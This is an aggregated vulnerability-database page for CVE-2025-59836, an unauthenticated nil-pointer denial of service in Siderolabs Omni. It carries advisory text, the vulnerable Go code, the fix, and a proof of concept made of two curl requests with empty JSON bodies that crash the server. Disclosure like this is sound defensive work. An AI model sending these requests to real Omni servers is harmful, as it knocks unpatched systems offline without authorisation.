Vulnerability-Lookup

CVE-2025-59836 (GCVE-0-2025-59836)

Vulnerability from cvelistv5 – Published: 2025-10-13 20:43 – Updated: 2025-10-14 14:28

Title

Omni is Vulnerable to DoS via Empty Create/Update Resource Requests

Summary

Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.1.5 and 1.0.2, there is a nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints. The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault. This vulnerability is fixed in 1.1.5 and 1.0.2.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-10-14 14:28 UTC

CWE

CWE-703 - Improper Check or Handling of Exceptional Conditions
CWE-476 - NULL Pointer Dereference

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/siderolabs/omni/security/advis…	x_refsource_CONFIRM
https://github.com/siderolabs/omni/commit/1396083…	x_refsource_MISC
https://github.com/siderolabs/omni/commit/1fd954a…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
siderolabs	omni	Affected: >= 1.1.0-beta.0, < 1.1.5 Affected: < 1.0.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-59836

Vulnerability from fkie_nvd - Published: 2025-10-13 21:15 - Updated: 2026-06-17 09:46

Severity

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/siderolabs/omni/commit/1396083f766a1b0380e9949968d7fc17b7afecaa	Patch
security-advisories@github.com	https://github.com/siderolabs/omni/commit/1fd954af64985a8b3dbf5b11deddbf7cd953f5ae	Patch
security-advisories@github.com	https://github.com/siderolabs/omni/security/advisories/GHSA-4p3p-cr38-v5xp	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	siderolabs	omni	*
	siderolabs	omni	*

JSON

To clipboard

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        "Patch"
      ],
      "url": "https://github.com/siderolabs/omni/commit/1396083f766a1b0380e9949968d7fc17b7afecaa"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siderolabs/omni/commit/1fd954af64985a8b3dbf5b11deddbf7cd953f5ae"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siderolabs/omni/security/advisories/GHSA-4p3p-cr38-v5xp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-476"
        },
        {
          "lang": "en",
          "value": "CWE-703"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4P3P-CR38-V5XP

Vulnerability from github – Published: 2025-10-13 19:59 – Updated: 2025-11-05 22:07

Summary

Omni is Vulnerable to DoS via Empty Create/Update Resource Requests

Details

Summary

A nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.

Details

The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault.

Vulnerable Code

The isSensitiveSpec function in /src/internal/backend/server.go:

func isSensitiveSpec(resource *resapi.Resource) bool {
    res, err := grpcomni.CreateResource(resource)  // No nil check on resource.Metadata
    if err != nil {
        return false
    }
    // ... rest of function
}

The CreateResource function expects resource.Metadata to be non-nil:

func CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {
    if resource.Metadata.Version == "" {  // PANIC: nil pointer dereference
        resource.Metadata.Version = "1"
    }
    // ... rest of function
}

The UpdateResource function has the same issue - it also calls CreateResource internally and expects resource.Metadata to be non-nil:

func (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {
    // ... validation code ...
    obj, err := CreateResource(in.Resource)  // Same vulnerability here
    if err != nil {
        return nil, err
    }
    // ... rest of function
}

Affected Endpoints

resourceServerCreate - Create Resource API endpoint
resourceServerUpdate - Update Resource API endpoint

Both endpoints call isSensitiveSpec which triggers the vulnerability when processing empty resources.

PoC

Send empty resource requests to the affected API endpoints:

# Create endpoint
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Create" \
  -H "Content-Type: application/json" \
  -d '{}'

# Update endpoint  
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Update" \
  -H "Content-Type: application/json" \
  -d '{}'

Expected Result: Server panic with segmentation fault:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]

goroutine 3305 [running]:
github.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)
        /src/internal/backend/grpc/resource.go:364 +0x20

Impact

Vulnerability Type: Denial of Service (DoS)
Severity: High - Complete API server crash requiring manual restart if no restart policy is applied.
Authentication: None required (unauthenticated)
Complexity: Low (simple HTTP request)

Mitigation

Add nil checks in the isSensitiveSpec function:

func isSensitiveSpec(resource *resapi.Resource) bool {
    if resource == nil || resource.Metadata == nil {
        return false
    }
    res, err := grpcomni.CreateResource(resource)
    if err != nil {
        return false
    }
    // ... rest of function
}

Credits

@1c3t0rm
@nicomda

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0-beta.0"
            },
            {
              "fixed": "1.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-13T19:59:17Z",
    "nvd_published_at": "2025-10-13T21:15:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.\n\n## Details\n\nThe vulnerability exists in the `isSensitiveSpec` function which calls `grpcomni.CreateResource` without checking if the resource\u0027s metadata field is nil. When a resource is created with an empty `Metadata` field, the `CreateResource` function attempts to access `resource.Metadata.Version` causing a segmentation fault.\n\n### Vulnerable Code\n\nThe `isSensitiveSpec` function in `/src/internal/backend/server.go`:\n\n```go\nfunc isSensitiveSpec(resource *resapi.Resource) bool {\n    res, err := grpcomni.CreateResource(resource)  // No nil check on resource.Metadata\n    if err != nil {\n        return false\n    }\n    // ... rest of function\n}\n```\n\nThe `CreateResource` function expects `resource.Metadata` to be non-nil:\n\n```go\nfunc CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {\n    if resource.Metadata.Version == \"\" {  // PANIC: nil pointer dereference\n        resource.Metadata.Version = \"1\"\n    }\n    // ... rest of function\n}\n```\n\nThe `UpdateResource` function has the same issue - it also calls `CreateResource` internally and expects `resource.Metadata` to be non-nil:\n\n```go\nfunc (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {\n    // ... validation code ...\n    obj, err := CreateResource(in.Resource)  // Same vulnerability here\n    if err != nil {\n        return nil, err\n    }\n    // ... rest of function\n}\n```\n\n### Affected Endpoints\n\n- `resourceServerCreate` - Create Resource API endpoint\n- `resourceServerUpdate` - Update Resource API endpoint\n\nBoth endpoints call `isSensitiveSpec` which triggers the vulnerability when processing empty resources.\n\n## PoC\n\nSend empty resource requests to the affected API endpoints:\n\n```bash\n# Create endpoint\ncurl -X POST \"https://your-omni-instance/api/omni.resources.ResourceService/Create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027\n\n# Update endpoint  \ncurl -X POST \"https://your-omni-instance/api/omni.resources.ResourceService/Update\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027\n```\n\n**Expected Result**: Server panic with segmentation fault:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]\n\ngoroutine 3305 [running]:\ngithub.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)\n        /src/internal/backend/grpc/resource.go:364 +0x20\n```\n\n## Impact\n\n- **Vulnerability Type**: Denial of Service (DoS)\n- **Severity**: High - Complete API server crash requiring manual restart if no restart policy is applied.\n- **Authentication**: None required (unauthenticated)\n- **Complexity**: Low (simple HTTP request)\n\n## Mitigation\n\nAdd nil checks in the `isSensitiveSpec` function:\n\n```go\nfunc isSensitiveSpec(resource *resapi.Resource) bool {\n    if resource == nil || resource.Metadata == nil {\n        return false\n    }\n    res, err := grpcomni.CreateResource(resource)\n    if err != nil {\n        return false\n    }\n    // ... rest of function\n}\n```\n\n## Credits\n- @1c3t0rm\n- @nicomda",
  "id": "GHSA-4p3p-cr38-v5xp",
  "modified": "2025-11-05T22:07:29Z",
  "published": "2025-10-13T19:59:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/security/advisories/GHSA-4p3p-cr38-v5xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59836"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/commit/1396083f766a1b0380e9949968d7fc17b7afecaa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/commit/1fd954af64985a8b3dbf5b11deddbf7cd953f5ae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siderolabs/omni"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omni is Vulnerable to DoS via Empty Create/Update Resource Requests"
}

OPENSUSE-SU-2025:15710-1

Vulnerability from csaf_opensuse - Published: 2025-11-07 00:00 - Updated: 2026-09-20 21:44

Summary

govulncheck-vulndb-0.0.20251105T184115-1.1 on GA media

Severity

Moderate

Scope

70 vulnerabilities in this advisory, including CVE-2025-59836.

CVE-2025-59836

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Recommended: 4 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-59836 (GCVE-0-2025-59836)

FKIE_CVE-2025-59836

GHSA-4P3P-CR38-V5XP

Summary

Details

Vulnerable Code

Affected Endpoints

PoC

Impact

Mitigation

Credits

OPENSUSE-SU-2025:15710-1

Tags

Sightings

Nomenclature

Related by attack behaviour